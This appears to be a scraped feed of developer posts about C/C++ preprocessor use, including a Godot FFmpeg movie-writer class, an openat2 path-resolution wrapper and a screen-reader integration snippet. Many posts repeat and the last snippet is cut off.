_audio_context->ch_layout = AV_CHANNEL_LAYOUT_STEREO;
error = avcodec_open2(_audio_context, audio_codec, nullptr);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
_audio_stream = avformat_new_stream(_context, audio_codec);
ERR_FAIL_NULL_V_MSG(_audio_stream, FAILED, "failed to create audio stream");
error = avcodec_parameters_from_context(_audio_stream->codecpar, _audio_context);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
_image_frame = av_frame_alloc();
ERR_FAIL_NULL_V_MSG(_image_frame, FAILED, "failed to create image frame");
_image_frame->width = p_movie_size.x;
_image_frame->height = p_movie_size.y;
_image_frame->format = AV_PIX_FMT_RGBA;
_image_frame->sample_aspect_ratio = av_make_q(1, 1);
error = av_frame_get_buffer(_image_frame, 0);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
_video_frame = av_frame_alloc();
ERR_FAIL_NULL_V_MSG(_video_frame, FAILED, "failed to create video frame");
_video_frame->width = _video_context->width;
_video_frame->height = _video_context->height;
_video_frame->format = _video_context->pix_fmt;
_video_frame->sample_aspect_ratio = _video_context->sample_aspect_ratio;
error = av_frame_get_buffer(_video_frame, 0);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
_sws_context = sws_alloc_context();
ERR_FAIL_NULL_V_MSG(_sws_context, FAILED, "failed to allocate libswscale context");
error = sws_frame_setup(_sws_context, _video_frame, _image_frame);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
DEV_ASSERT(_audio_context->sample_rate % p_fps == 0);
_raw_audio_frame = av_frame_alloc();
ERR_FAIL_NULL_V_MSG(_raw_audio_frame, FAILED, "failed to create raw audio frame");
_raw_audio_frame->nb_samples = _audio_context->sample_rate / p_fps;
_raw_audio_frame->format = AV_SAMPLE_FMT_S32;
_raw_audio_frame->sample_rate = _audio_context->sample_rate;
error = av_channel_layout_copy(&_raw_audio_frame->ch_layout, &_audio_context->ch_layout);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
error = av_frame_get_buffer(_raw_audio_frame, 0);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
_audio_frame = av_frame_alloc();
ERR_FAIL_NULL_V_MSG(_audio_frame, FAILED, "failed to create audio frame");
_audio_frame->nb_samples = _audio_context->frame_size;
_audio_frame->format = _audio_context->sample_fmt;
_audio_frame->sample_rate = _audio_context->sample_rate;
error = av_channel_layout_copy(&_audio_frame->ch_layout, &_audio_context->ch_layout);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
error = av_frame_get_buffer(_audio_frame, 0);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
_swr_context = swr_alloc();
ERR_FAIL_NULL_V_MSG(_swr_context, FAILED, "failed to allocate libswresample context");
error = swr_config_frame(_swr_context, _audio_frame, _raw_audio_frame);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
error = swr_init(_swr_context);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
_packet = av_packet_alloc();
error = avio_open(&_context->pb, p_base_path.utf8().get_data(), AVIO_FLAG_WRITE);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
error = avformat_write_header(_context, nullptr);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
return OK;
#else
return ERR_UNAVAILABLE;
#endif
}
Error FFmpegMovieWriter::_write_frame(const Ref<Image> &p_frame_image, const void *p_audio_frame_block) {
#ifdef FFMPEG_AVAILABLE
ERR_FAIL_COND_V(!_write_image(p_frame_image), FAILED);
ERR_FAIL_COND_V(!_write_audio(p_audio_frame_block), FAILED);
return OK;
#else
return ERR_UNAVAILABLE;
#endif
}
void FFmpegMovieWriter::_write_end() {
#ifdef FFMPEG_AVAILABLE
int error = avcodec_send_frame(_video_context, nullptr);
ERR_FAIL_COND_MSG(error < 0, av_err2str(error));
ERR_FAIL_COND(!_write_packets(_video_context, _video_stream));
// check for any remaining samples at the end of the stream
if (swr_get_delay(_swr_context, _audio_frame->sample_rate) > 0) {
error = av_frame_make_writable(_audio_frame);
ERR_FAIL_COND_MSG(error < 0, av_err2str(error));
error = swr_convert_frame(_swr_context, _audio_frame, nullptr);
ERR_FAIL_COND_MSG(error < 0, av_err2str(error));
_audio_frame->pts = _audio_pts;
error = avcodec_send_frame(_audio_context, _audio_frame);
ERR_FAIL_COND_MSG(error < 0, av_err2str(error));
}
error = avcodec_send_frame(_audio_context, nullptr);
ERR_FAIL_COND_MSG(error < 0, av_err2str(error));
ERR_FAIL_COND(!_write_packets(_audio_context, _audio_stream));
av_write_trailer(_context);
avio_closep(&_context->pb);
av_packet_free(&_packet);
av_frame_free(&_raw_audio_frame);
av_frame_free(&_audio_frame);
av_frame_free(&_video_frame);
av_frame_free(&_image_frame);
swr_free(&_swr_context);
sws_free_context(&_sws_context);
avcodec_free_context(&_audio_context);
avcodec_free_context(&_video_context);
avformat_free_context(_context);
#endif
}
#ifdef FFMPEG_AVAILABLE
bool FFmpegMovieWriter::_write_packets(AVCodecContext *p_context, AVStream *p_stream) {
while (avcodec_receive_packet(p_context, _packet) == 0) {
av_packet_rescale_ts(_packet, p_context->time_base, p_stream->time_base);
_packet->stream_index = p_stream->index;
if (p_context->pix_fmt != AV_PIX_FMT_NONE) {
__builtin_debugtrap();
}
int error = av_interleaved_write_frame(_context, _packet);
CRASH_COND(error < 0);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
}
return true;
}
bool FFmpegMovieWriter::_write_image(const Ref<Image> &p_frame_image) {
DEV_ASSERT(p_frame_image->get_format() == Image::FORMAT_RGBA8);
DEV_ASSERT(p_frame_image->get_width() == _image_frame->width);
DEV_ASSERT(p_frame_image->get_height() == _image_frame->height);
int error = av_frame_make_writable(_image_frame);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
memcpy(_image_frame->data[0], p_frame_image->get_data().ptr(), p_frame_image->get_data_size());
error = av_frame_make_writable(_video_frame);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
error = sws_scale_frame(_sws_context, _video_frame, _image_frame);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
_video_frame->pts = _video_pts;
_video_pts++;
error = avcodec_send_frame(_video_context, _video_frame);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
return _write_packets(_video_context, _video_stream);
}
bool FFmpegMovieWriter::_write_audio(const void *p_audio_frame_block) {
int error = av_frame_make_writable(_raw_audio_frame);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
memcpy(_raw_audio_frame->data[0], p_audio_frame_block, _raw_audio_frame->nb_samples * sizeof(int32_t));
error = swr_convert_frame(_swr_context, nullptr, _raw_audio_frame);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
while (swr_get_delay(_swr_context, _audio_frame->sample_rate) >= _audio_frame->nb_samples) {
error = av_frame_make_writable(_audio_frame);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
error = swr_convert_frame(_swr_context, _audio_frame, nullptr);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
_audio_frame->pts = _audio_pts;
_audio_pts += _audio_frame->nb_samples;
error = avcodec_send_frame(_audio_context, _audio_frame);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
}
return _write_packets(_audio_context, _audio_stream);
}
#endif -
CW: C++
#include "util/ffmpeg_movie_writer.h"
#include <godot_cpp/classes/image.hpp>
#ifdef FFMPEG_AVAILABLE
extern "C" {
#include <libavcodec/avcodec.h>
#include <libavformat/avformat.h>
#include <libswresample/swresample.h>
#include <libswscale/swscale.h>
}
#endif
void FFmpegMovieWriter::_bind_methods() {
}
uint32_t FFmpegMovieWriter::_get_audio_mix_rate() const {
return 48000;
}
AudioServer::SpeakerMode FFmpegMovieWriter::_get_audio_speaker_mode() const {
return AudioServer::SPEAKER_MODE_STEREO;
}
bool FFmpegMovieWriter::_handles_file(const String &p_path) const {
return p_path.get_extension().to_lower() == "mkv";
}
PackedStringArray FFmpegMovieWriter::_get_supported_extensions() const {
return { "mkv" };
}
Error FFmpegMovieWriter::_write_begin(const Vector2i &p_movie_size, uint32_t p_fps, const String &p_base_path) {
#ifdef FFMPEG_AVAILABLE
int error = avformat_alloc_output_context2(&_context, nullptr, "matroska", p_base_path.utf8().get_data());
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
const AVCodec *video_codec = avcodec_find_encoder(AV_CODEC_ID_AV1);
ERR_FAIL_NULL_V_MSG(video_codec, FAILED, "ffmpeg was not compiled with AV1 support");
_video_context = avcodec_alloc_context3(video_codec);
ERR_FAIL_NULL_V_MSG(_video_context, FAILED, "failed to allocate video context");
_video_context->time_base = av_make_q(1, p_fps);
_video_context->framerate = av_make_q(p_fps, 1);
_video_context->width = p_movie_size.x;
_video_context->height = p_movie_size.y;
_video_context->sample_aspect_ratio = av_make_q(1, 1);
_video_context->pix_fmt = AV_PIX_FMT_YUV420P;
AVDictionary *video_options = nullptr;
av_dict_set_int(&video_options, "crf", 30, 0);
error = avcodec_open2(_video_context, video_codec, &video_options);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
av_dict_free(&video_options);
_video_stream = avformat_new_stream(_context, video_codec);
ERR_FAIL_NULL_V_MSG(_video_stream, FAILED, "failed to create video stream");
error = avcodec_parameters_from_context(_video_stream->codecpar, _video_context);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
const AVCodec *audio_codec = avcodec_find_encoder(AV_CODEC_ID_OPUS);
ERR_FAIL_NULL_V_MSG(audio_codec, FAILED, "ffmpeg was not compiled with Opus support");
_audio_context = avcodec_alloc_context3(audio_codec);
ERR_FAIL_NULL_V_MSG(_audio_context, FAILED, "failed to allocate audio context");
_audio_context->bit_rate = 96000;
_audio_context->time_base = av_make_q(1, 48000);
_audio_context->sample_rate = 48000;
_audio_context->sample_fmt = AV_SAMPLE_FMT_S16;
_audio_context->ch_layout = AV_CHANNEL_LAYOUT_STEREO;
error = avcodec_open2(_audio_context, audio_codec, nullptr);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
_audio_stream = avformat_new_stream(_context, audio_codec);
ERR_FAIL_NULL_V_MSG(_audio_stream, FAILED, "failed to create audio stream");
error = avcodec_parameters_from_context(_audio_stream->codecpar, _audio_context);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
_image_frame = av_frame_alloc();
ERR_FAIL_NULL_V_MSG(_image_frame, FAILED, "failed to create image frame");
_image_frame->width = p_movie_size.x;
_image_frame->height = p_movie_size.y;
_image_frame->format = AV_PIX_FMT_RGBA;
_image_frame->sample_aspect_ratio = av_make_q(1, 1);
error = av_frame_get_buffer(_image_frame, 0);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
_video_frame = av_frame_alloc();
ERR_FAIL_NULL_V_MSG(_video_frame, FAILED, "failed to create video frame");
_video_frame->width = _video_context->width;
_video_frame->height = _video_context->height;
_video_frame->format = _video_context->pix_fmt;
_video_frame->sample_aspect_ratio = _video_context->sample_aspect_ratio;
error = av_frame_get_buffer(_video_frame, 0);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
_sws_context = sws_alloc_context();
ERR_FAIL_NULL_V_MSG(_sws_context, FAILED, "failed to allocate libswscale context");
error = sws_frame_setup(_sws_context, _video_frame, _image_frame);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
DEV_ASSERT(_audio_context->sample_rate % p_fps == 0);
_raw_audio_frame = av_frame_alloc();
ERR_FAIL_NULL_V_MSG(_raw_audio_frame, FAILED, "failed to create raw audio frame");
_raw_audio_frame->nb_samples = _audio_context->sample_rate / p_fps;
_raw_audio_frame->format = AV_SAMPLE_FMT_S32;
_raw_audio_frame->sample_rate = _audio_context->sample_rate;
error = av_channel_layout_copy(&_raw_audio_frame->ch_layout, &_audio_context->ch_layout);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
error = av_frame_get_buffer(_raw_audio_frame, 0);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
_audio_frame = av_frame_alloc();
ERR_FAIL_NULL_V_MSG(_audio_frame, FAILED, "failed to create audio frame");
_audio_frame->nb_samples = _audio_context->frame_size;
_audio_frame->format = _audio_context->sample_fmt;
_audio_frame->sample_rate = _audio_context->sample_rate;
error = av_channel_layout_copy(&_audio_frame->ch_layout, &_audio_context->ch_layout);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
error = av_frame_get_buffer(_audio_frame, 0);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
_swr_context = swr_alloc();
ERR_FAIL_NULL_V_MSG(_swr_context, FAILED, "failed to allocate libswresample context");
error = swr_config_frame(_swr_context, _audio_frame, _raw_audio_frame);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
error = swr_init(_swr_context);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
_packet = av_packet_alloc();
error = avio_open(&_context->pb, p_base_path.utf8().get_data(), AVIO_FLAG_WRITE);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
error = avformat_write_header(_context, nullptr);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
return OK;
#else
return ERR_UNAVAILABLE;
#endif
}
Error FFmpegMovieWriter::_write_frame(const Ref<Image> &p_frame_image, const void *p_audio_frame_block) {
#ifdef FFMPEG_AVAILABLE
ERR_FAIL_COND_V(!_write_image(p_frame_image), FAILED);
ERR_FAIL_COND_V(!_write_audio(p_audio_frame_block), FAILED);
return OK;
#else
return ERR_UNAVAILABLE;
#endif
}
void FFmpegMovieWriter::_write_end() {
#ifdef FFMPEG_AVAILABLE
int error = avcodec_send_frame(_video_context, nullptr);
ERR_FAIL_COND_MSG(error < 0, av_err2str(error));
ERR_FAIL_COND(!_write_packets(_video_context, _video_stream));
// check for any remaining samples at the end of the stream
if (swr_get_delay(_swr_context, _audio_frame->sample_rate) > 0) {
error = av_frame_make_writable(_audio_frame);
ERR_FAIL_COND_MSG(error < 0, av_err2str(error));
error = swr_convert_frame(_swr_context, _audio_frame, nullptr);
ERR_FAIL_COND_MSG(error < 0, av_err2str(error));
_audio_frame->pts = _audio_pts;
error = avcodec_send_frame(_audio_context, _audio_frame);
ERR_FAIL_COND_MSG(error < 0, av_err2str(error));
}
error = avcodec_send_frame(_audio_context, nullptr);
ERR_FAIL_COND_MSG(error < 0, av_err2str(error));
ERR_FAIL_COND(!_write_packets(_audio_context, _audio_stream));
av_write_trailer(_context);
avio_closep(&_context->pb);
av_packet_free(&_packet);
av_frame_free(&_raw_audio_frame);
av_frame_free(&_audio_frame);
av_frame_free(&_video_frame);
av_frame_free(&_image_frame);
swr_free(&_swr_context);
sws_free_context(&_sws_context);
avcodec_free_context(&_audio_context);
avcodec_free_context(&_video_context);
avformat_free_context(_context);
#endif
}
#ifdef FFMPEG_AVAILABLE
bool FFmpegMovieWriter::_write_packets(AVCodecContext *p_context, AVStream *p_stream) {
while (avcodec_receive_packet(p_context, _packet) == 0) {
av_packet_rescale_ts(_packet, p_context->time_base, p_stream->time_base);
_packet->stream_index = p_stream->index;
if (p_context->pix_fmt != AV_PIX_FMT_NONE) {
__builtin_debugtrap();
}
int error = av_interleaved_write_frame(_context, _packet);
CRASH_COND(error < 0);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
}
return true;
}
bool FFmpegMovieWriter::_write_image(const Ref<Image> &p_frame_image) {
DEV_ASSERT(p_frame_image->get_format() == Image::FORMAT_RGBA8);
DEV_ASSERT(p_frame_image->get_width() == _image_frame->width);
DEV_ASSERT(p_frame_image->get_height() == _image_frame->height);
int error = av_frame_make_writable(_image_frame);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
memcpy(_image_frame->data[0], p_frame_image->get_data().ptr(), p_frame_image->get_data_size());
error = av_frame_make_writable(_video_frame);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
error = sws_scale_frame(_sws_context, _video_frame, _image_frame);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
_video_frame->pts = _video_pts;
_video_pts++;
error = avcodec_send_frame(_video_context, _video_frame);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
return _write_packets(_video_context, _video_stream);
}
bool FFmpegMovieWriter::_write_audio(const void *p_audio_frame_block) {
int error = av_frame_make_writable(_raw_audio_frame);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
memcpy(_raw_audio_frame->data[0], p_audio_frame_block, _raw_audio_frame->nb_samples * sizeof(int32_t));
error = swr_convert_frame(_swr_context, nullptr, _raw_audio_frame);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
while (swr_get_delay(_swr_context, _audio_frame->sample_rate) >= _audio_frame->nb_samples) {
error = av_frame_make_writable(_audio_frame);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
error = swr_convert_frame(_swr_context, _audio_frame, nullptr);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
_audio_frame->pts = _audio_pts;
_audio_pts += _audio_frame->nb_samples;
error = avcodec_send_frame(_audio_context, _audio_frame);
ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
}
return _write_packets(_audio_context, _audio_stream);
}
#endif -
@fabi1cazenave @ergonautes Je vois des `#ifdef LINUX` dans ta PR, j'ai intérêt à activer ça si je suis sur linux et que je veux tester l'émulation ergol sur azerty j'imagine ?
-
Linkage makes no sense. You get either too many symbols or not enough.
You can't #ifdef a module declaration in a cpp file _by design_ to good luck supporting dual builds.
Mixing imports and includes is a mess meaning you have to live in your own ecosystem of no libraries. -
Related: on at least recent clang this triggers a Wmisleading-indentation warning on the meow() line, but IMO should not
if(foo)
bar();
else if(baz)
foobar(); -
Related: on at least recent clang this triggers a Wmisleading-indentation warning on the meow() line, but IMO should not
if(foo)
bar();
else if(baz)
foobar(); -
Related: on at least recent clang this triggers a Wmisleading-indentation warning on the meow() line, but IMO should not
if(foo)
bar();
else if(baz)
foobar(); -
Related: on at least recent clang this triggers a Wmisleading-indentation warning on the meow() line, but IMO should not
if(foo)
bar();
else if(baz)
foobar(); -
Related: on at least recent clang this triggers a Wmisleading-indentation warning on the meow() line, but IMO should not
if(foo)
bar();
else if(baz)
foobar(); -
Do you indent code inside a #ifdef block the same way as if it were a normal runtime if/else statement?
-
@funkylab That prevents creation of such an object as a local variable (rare but done in unit tests for the most part) or a class member (by far the most common use) without an extra layer of dynamic allocation.
While unique_ptr's of the type exist I don't want to force more indirection for no reason. Having the internal registry makes more sense (it's also something I can easily #ifdef out if I want to remove it in release builds etc, unlike a complete change of ownership model)
-
int
openat2p(int dirfd, const char *path,
int flags, mode_t mode)
{
#ifdef __linux__
struct open_how how = {
.flags = flags,
.mode = mode,
.resolve =
RESOLVE_BENEATH |
RESOLVE_NO_SYMLINKS |
RESOLVE_NO_MAGICLINKS
};
#endifif (dirfd < 0) {
errno = EBADF;
return -1;
}if (path == NULL) {
errno = EFAULT;
return -1;
}#ifdef __linux__
return syscall(SYS_openat2, dirfd, path, &how, sizeof(how));
#else
return openat(dirfd, path, flags, mode);
#endif
} -
int
openat2p(int dirfd, const char *path,
int flags, mode_t mode)
{
#ifdef __linux__
struct open_how how = {
.flags = flags,
.mode = mode,
.resolve =
RESOLVE_BENEATH |
RESOLVE_NO_SYMLINKS |
RESOLVE_NO_MAGICLINKS
};
#endifif (dirfd < 0) {
errno = EBADF;
return -1;
}if (path == NULL) {
errno = EFAULT;
return -1;
}#ifdef __linux__
return syscall(SYS_openat2, dirfd, path, &how, sizeof(how));
#else
return openat(dirfd, path, flags, mode);
#endif
} -
int
openat2p(int dirfd, const char *path,
int flags, mode_t mode)
{
#ifdef __linux__
struct open_how how = {
.flags = flags,
.mode = mode,
.resolve =
RESOLVE_BENEATH |
RESOLVE_NO_SYMLINKS |
RESOLVE_NO_MAGICLINKS
};
#endifif (dirfd < 0) {
errno = EBADF;
return -1;
}if (path == NULL) {
errno = EFAULT;
return -1;
}#ifdef __linux__
return syscall(SYS_openat2, dirfd, path, &how, sizeof(how));
#else
return openat(dirfd, path, flags, mode);
#endif
} -
int
openat2p(int dirfd, const char *path,
int flags, mode_t mode)
{
#ifdef __linux__
struct open_how how = {
.flags = flags,
.mode = mode,
.resolve =
RESOLVE_BENEATH |
RESOLVE_NO_SYMLINKS |
RESOLVE_NO_MAGICLINKS
};
#endifif (dirfd < 0) {
errno = EBADF;
return -1;
}if (path == NULL) {
errno = EFAULT;
return -1;
}#ifdef __linux__
return syscall(SYS_openat2, dirfd, path, &how, sizeof(how));
#else
return openat(dirfd, path, flags, mode);
#endif
} -
int
openat2p(int dirfd, const char *path,
int flags, mode_t mode)
{
#ifdef __linux__
struct open_how how = {
.flags = flags,
.mode = mode,
.resolve =
RESOLVE_BENEATH |
RESOLVE_NO_SYMLINKS |
RESOLVE_NO_MAGICLINKS
};
#endifif (dirfd < 0) {
errno = EBADF;
return -1;
}if (path == NULL) {
errno = EFAULT;
return -1;
}#ifdef __linux__
return syscall(SYS_openat2, dirfd, path, &how, sizeof(how));
#else
return openat(dirfd, path, flags, mode);
#endif
} -
external/cddl/osnet/dist/uts/common/fs/zfs: zvol.c
yamt: zfs zvol.c: #ifdef out zvol_log_truncate
-
@begasus @pancake probably we'd need someone who understood the puprpose of each change and what it did and how and why :) to look at the patches first - we have limited resources. I don’t think we’d want #ifdef HAIKU_OS in the code, but e.g. a feature test for a working vfork() and a patch to work round problems with alternatives sounds promising to me.
-
@glyph @miss_rodent Multiple platforms are only multiple dev targets if you're in a 1980s-mindset of #ifdef hell everywhere. If instead you write portable code to the specs not to "works on my machine", and probe for things rather than enumerating a million build combinatorics, supporting a multitude of different systems is not any harder than supporting one.
-
@talexb Oh, regex performance is very rarely an issue at play in most apps (except when you get the backtracking wrong...) but that doesn't mean it shouldn't be regularly re-examined and re-optimized as new techniques are worked out and old systems can be ignored and hacks compensating for them dropped. (I assume the #ifdef eunice entries are gone. I hope)
The regex engine is very self-contained, though, so you can go at it without disrupting the rest of the language, which is nice.
-
This codebase I'm working with is frustrating. It was supposed to be C++, but barely qualifies as C. A mess of malloc, free, leaking memory, leaking file handles, custom implementation of threading, and every 6 lines is a #ifdef making it difficult to follow the code path.
But the thing that bugs me most isn't even a serious problem, just a strange style issue:
Every curly brace is followed by a semi-colon.
if (foo) { bar(); };
Even functions, so it is written like this:
int main() {
return 0;
};It doesn't harm anything, but...why do this? #cpp
-
> > Use Windows on-device AI in your Electron app - #ifdef Windows http://dlvr.it/TR8kJk
-
@pervognsen
1) portability is not *the compiler's* concern. It is the programmer's concern, and if the code is #ifdef'd then it's a non-issue.
2) memcpy is still using multiple smaller accesses to do what the hardware would do faster in a single access.These justifications are bogus.
-
thinking of the namespace proposal for c, and, i wonder if, we couldn’t have namespaces done in the preprocessor, like:
/* lib.h */ #namespace lib lib_ void lib::foo(); /* declares lib_foo as a function name */ /* app.c */ #include <lib.h> #using lib::foo #using lib::foo as nya #using lib as MyApi int main(void) { /* all of those would be pre-processed to lib_foo() */ lib::foo(); foo(); nya(); MyApi::foo(); }works with macros, and identifiers, basically anywhere a
#definewould also workand could be backwards compatible, e.g. if i were to use it in openrc:
/* rc.h */ #ifdef _HAS_NAMESPACE #namespace rc rc_ #namespace RC RC_ #endifnow older c programs can still use
rc_service_resolve, and newer ones can userc::service_resolve(as well as#usingdirectives)including whole namespace, like
#using lib, could work but it’d be a pain to implement i think, since the preprocessor would need to keep track of alllib_it sees since#namespacewas declared, and forward-replace thembut with or without whole-namespace-inclusion, this has really simple semantics and imo predictable errors, as namespacing conflicts can be reported the same way “redefinition” of macro names are
-
@draeand I don't even think it used the docs lol. For the record, if you're curious: // Prism state
#ifdef USE_PRISM
static PrismContext* g_prismCtx = nullptr;
static PrismBackend* g_prismBackend = nullptr;
#endifThen, // Screen reader output - uses async message to avoid blocking UI
#ifdef USE_PRISM
static std::string g_pendingSpeech;
static bool g_speechInterrupt = true;void DoSpeak() {
if (g_prismBackend && !g_pendingSpeech.empty()) {
prism_backend_output(g_prismBackend, g_pendingSpeech.c_str(), g_speechInterrupt);
g_pendingSpeech.clear();
}
}void Speak(const char* text, bool interrupt = true) {
if (g_prismBackend && g_hwnd) {
g_pendingSpeech = text;
g_speechInterrupt = interrupt;
PostMessage(g_hwnd, WM_SPEAK, 0, 0);
}
}void Speak(const std::string& text, bool interrupt = true) {
Speak(text.c_str(), interrupt);
}
#else
void DoSpeak() {}
void Speak(const char*, bool = true) {}
void Speak(const std::string&, bool = true) {}
#endifand in the init funcs: // Initialize Prism for screen reader support
#ifdef USE_PRISM
bool InitPrism(HWND hwnd) {
PrismConfig cfg = prism_config_init();
cfg.hwnd = hwnd;g_prismCtx = prism_init(&cfg);
if (!g_prismCtx) {
return false;
}g_prismBackend = prism_registry_acquire_best(g_prismCtx);
if (!g_prismBackend) {
return false;
}PrismError err = prism_backend_initialize(g_prismBackend);
if (err != PRISM_OK) {
return false;
}return true;
}// Shutdown Prism
void FreePrism() {
if (g_prismBackend) {
prism_backend_free(g_prismBackend);
g_prismBackend = nullptr;
}
if (g_prismCtx) {
prism_shutdown(g_prismCtx);
g_prismCtx = nullptr;
}
}
#else
bool InitPrism(HWND) { return false; }
void FreePrism() {}
#endif -
@draeand I don't even think it used the docs lol. For the record, if you're curious: // Prism state
#ifdef USE_PRISM
static PrismContext* g_prismCtx = nullptr;
static PrismBackend* g_prismBackend = nullptr;
#endifThen, // Screen reader output - uses async message to avoid blocking UI
#ifdef USE_PRISM
static std::string g_pendingSpeech;
static bool g_speechInterrupt = true;void DoSpeak() {
if (g_prismBackend && !g_pendingSpeech.empty()) {
prism_backend_output(g_prismBackend, g_pendingSpeech.c_str(), g_speechInterrupt);
g_pendingSpeech.clear();
}
}void Speak(const char* text, bool interrupt = true) {
if (g_prismBackend && g_hwnd) {
g_pendingSpeech = text;
g_speechInterrupt = interrupt;
PostMessage(g_hwnd, WM_SPEAK, 0, 0);
}
}void Speak(const std::string& text, bool interrupt = true) {
Speak(text.c_str(), interrupt);
}
#else
void DoSpeak() {}
void Speak(const char*, bool = true) {}
void Speak(const std::string&, bool = true) {}
#endifand in the init funcs: // Initialize Prism for screen reader support
#ifdef USE_PRISM
bool InitPrism(HWND hwnd) {
PrismConfig cfg = prism_config_init();
cfg.hwnd = hwnd;g_prismCtx = prism_init(&cfg);
if (!g_prismCtx) {
return false;
}g_prismBackend = prism_registry_acquire_best(g_prismCtx);
if (!g_prismBackend) {
return false;
}PrismError err = prism_backend_initialize(g_prismBackend);
if (err != PRISM_OK) {
return false;
}return true;
}// Shutdown Prism
void FreePrism() {
if (g_prismBackend) {
prism_backend_free(g_prismBackend);
g_prismBackend = nullptr;
}
if (g_prismCtx) {
prism_shutdown(g_prismCtx);
g_prismCtx = nullptr;
}
}
#else
bool InitPrism(HWND) { return false; }
void FreePrism() {}
#endif -
@draeand I don't even think it used the docs lol. For the record, if you're curious: // Prism state
#ifdef USE_PRISM
static PrismContext* g_prismCtx = nullptr;
static PrismBackend* g_prismBackend = nullptr;
#endifThen, // Screen reader output - uses async message to avoid blocking UI
#ifdef USE_PRISM
static std::string g_pendingSpeech;
static bool g_speechInterrupt = true;void DoSpeak() {
if (g_prismBackend && !g_pendingSpeech.empty()) {
prism_backend_output(g_prismBackend, g_pendingSpeech.c_str(), g_speechInterrupt);
g_pendingSpeech.clear();
}
}void Speak(const char* text, bool interrupt = true) {
if (g_prismBackend && g_hwnd) {
g_pendingSpeech = text;
g_speechInterrupt = interrupt;
PostMessage(g_hwnd, WM_SPEAK, 0, 0);
}
}void Speak(const std::string& text, bool interrupt = true) {
Speak(text.c_str(), interrupt);
}
#else
void DoSpeak() {}
void Speak(const char*, bool = true) {}
void Speak(const std::string&, bool = true) {}
#endifand in the init funcs: // Initialize Prism for screen reader support
#ifdef USE_PRISM
bool InitPrism(HWND hwnd) {
PrismConfig cfg = prism_config_init();
cfg.hwnd = hwnd;g_prismCtx = prism_init(&cfg);
if (!g_prismCtx) {
return false;
}g_prismBackend = prism_registry_acquire_best(g_prismCtx);
if (!g_prismBackend) {
return false;
}PrismError err = prism_backend_initialize(g_prismBackend);
if (err != PRISM_OK) {
return false;
}return true;
}// Shutdown Prism
void FreePrism() {
if (g_prismBackend) {
prism_backend_free(g_prismBackend);
g_prismBackend = nullptr;
}
if (g_prismCtx) {
prism_shutdown(g_prismCtx);
g_prismCtx = nullptr;
}
}
#else
bool InitPrism(HWND) { return false; }
void FreePrism() {}
#endif -
@draeand I don't even think it used the docs lol. For the record, if you're curious: // Prism state
#ifdef USE_PRISM
static PrismContext* g_prismCtx = nullptr;
static PrismBackend* g_prismBackend = nullptr;
#endifThen, // Screen reader output - uses async message to avoid blocking UI
#ifdef USE_PRISM
static std::string g_pendingSpeech;
static bool g_speechInterrupt = true;void DoSpeak() {
if (g_prismBackend && !g_pendingSpeech.empty()) {
prism_backend_output(g_prismBackend, g_pendingSpeech.c_str(), g_speechInterrupt);
g_pendingSpeech.clear();
}
}void Speak(const char* text, bool interrupt = true) {
if (g_prismBackend && g_hwnd) {
g_pendingSpeech = text;
g_speechInterrupt = interrupt;
PostMessage(g_hwnd, WM_SPEAK, 0, 0);
}
}void Speak(const std::string& text, bool interrupt = true) {
Speak(text.c_str(), interrupt);
}
#else
void DoSpeak() {}
void Speak(const char*, bool = true) {}
